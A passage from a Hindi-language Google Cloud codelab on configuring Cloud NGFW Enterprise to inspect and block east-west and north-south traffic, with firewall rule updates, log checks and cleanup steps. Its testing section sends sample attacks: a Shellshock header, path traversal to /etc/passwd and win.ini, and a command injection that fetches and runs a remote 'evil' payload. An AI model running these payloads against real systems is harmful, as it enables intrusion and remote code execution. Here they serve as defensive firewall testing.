gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
इसके अलावा, फ़ायरवॉल के नियमों के बारे में बताएं, ताकि यह पुष्टि की जा सके कि दोनों अपडेट हो गए हैं:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
अनुमानित आउटपुट:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
नियम 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
अनुमानित आउटपुट:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
क्लाइंट वीएम पर वापस जाएं और इंटरनल सर्वर आईपी (ईस्ट-वेस्ट / इंट्रा-वीपीसी जांच) को सैंपल अटैक फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
क्लाउड नेट (नॉर्थ-साउथ इनबाउंड निरीक्षण) के ज़रिए, बाहरी सर्वर के आईपी पते पर सैंपल के तौर पर हमले फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
नीचे दिए गए अनुमानित आउटपुट के मुताबिक, पहले हमलों के लिए कोई जवाब नहीं मिला है. इससे पुष्टि होती है कि अब ज़्यादा गंभीर हमलों को ब्लॉक किया जा रहा है.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
लॉग की पुष्टि करने के लिए, Cloud Console में नेटवर्क सुरक्षा > खतरे पर जाएं. अगर हमले अब तक नहीं दिख रहे हैं, तो आपको कुछ बार रीफ़्रेश करना पड़ सकता है.

किसी एक हमले को चुनें और दाईं ओर मौजूद "ऑडिट लॉग देखें" पर क्लिक करें. आसानी से वापस आने के लिए, इसे नए टैब में खोलें. हमले की जानकारी देखने के लिए, उसे बड़ा करें:

इसके अलावा, लॉग एक्सप्लोरर फ़िल्टर की जगह नीचे दी गई क्वेरी का इस्तेमाल करें:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
खतरे से जुड़ी लॉग एंट्री इस तरह दिखनी चाहिए:

Cloud Firewall से इंटरसेप्ट किए गए पैकेट की पुष्टि करने के लिए, यहां दिए गए Log Explorer फ़िल्टर का इस्तेमाल किया जा सकता है. इससे समस्या हल करने में मदद मिलती है:
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

इंटरनेट ट्रैफ़िक की जांच जारी रखें (ज़रूरी नहीं) या एसएसएच सेशन बंद करें और क्लीन-अप के चरणों के लिए अगले चैप्टर पर जाएं.
[ज़रूरी नहीं] इंटरनेट ट्रैफ़िक की जांच
पिछले सेक्शन में पुष्टि की गई है कि अब तक जिन फ़्लो की जांच की गई है वे इंट्रा-सबनेट/वीपीसी (ईस्ट-वेस्ट) और इंटरनेट से आने वाला ट्रैफ़िक (नॉर्थ-साउथ इनबाउंड) हैं. Cloud NGFW Enterprise को, सभी इंटरनेट ट्रैफ़िक (नॉर्थ-साउथ आउटबाउंड) की जांच करने के लिए भी कॉन्फ़िगर किया जा सकता है. इसके लिए, Cloud Shell का इस्तेमाल करके नया इग्रेस नियम बनाएं:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
क्लाइंट वीएम पर वापस जाएं और बाहरी सर्वर के आईपी पते पर, ज़्यादा गंभीर हमलों को फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
अनुमानित आउटपुट:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
लॉग की पुष्टि करने के लिए, Cloud Console में थ्रेट टैब पर जाएं. इसके लिए, आपको कुछ बार रीफ़्रेश करना पड़ सकता है. हमलों की पहचान करके उन्हें फिर से लॉग किया जाना चाहिए था. हालांकि, अब सोर्स आईपी इंटरनल है, क्योंकि सबसे पहले इग्रेस नियम ट्रिगर हो रहा है:

एसएसएच सेशन बंद करें और क्लीन-अप के चरणों के लिए, अगले सेक्शन पर जाएं.
8. क्लीन-अप करने का तरीका
Cloud NGFW Enterprise के कॉम्पोनेंट को हटाना
Cloud NGFW Enterprise के मौजूदा असोसिएशन की सूची बनाएं:
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise के साथ असोसिएशन मिटाने के लिए:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise के मौजूदा एंडपॉइंट की सूची बनाएं:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Cloud NGFW Enterprise एंडपॉइंट को मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
नीचे दिए गए निर्देश को चलाकर पुष्टि करें कि Cloud NGFW Enterprise को मिटा दिया गया है:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
सुरक्षा प्रोफ़ाइल ग्रुप और थ्रेट प्रिवेंशन प्रोफ़ाइल मिटाएं:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
बुनियादी सेटअप को हटाना
अगर आपको बुनियादी संसाधन मिटाने हैं, तो अगले चरण पर जाएं.
अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल तय करें. Cloud Shell से, नेटवर्क लोड बैलेंसर के कॉम्पोनेंट मिटाएं:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
उदाहरण हटाएं:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
अगर tagAdmin और tagUsers की भूमिकाओं में बदलाव किया गया है, तो यहां दिया गया तरीका अपनाएं:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
टैग की और वैल्यू हटाएं:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Firewall की नेटवर्क नीति और उससे जुड़े कॉन्फ़िगरेशन को मिटाने के लिए:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router और Cloud NAT मिटाएं:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
आरक्षित किए गए आईपी पते मिटाएं:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
आखिर में, सबनेट और वीपीसी नेटवर्क मिटाएं:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. बधाई हो!
बधाई हो, आपने Cloud NGFW Enterprise for East-West and North-South Inspection कोडलैब पूरा कर लिया है.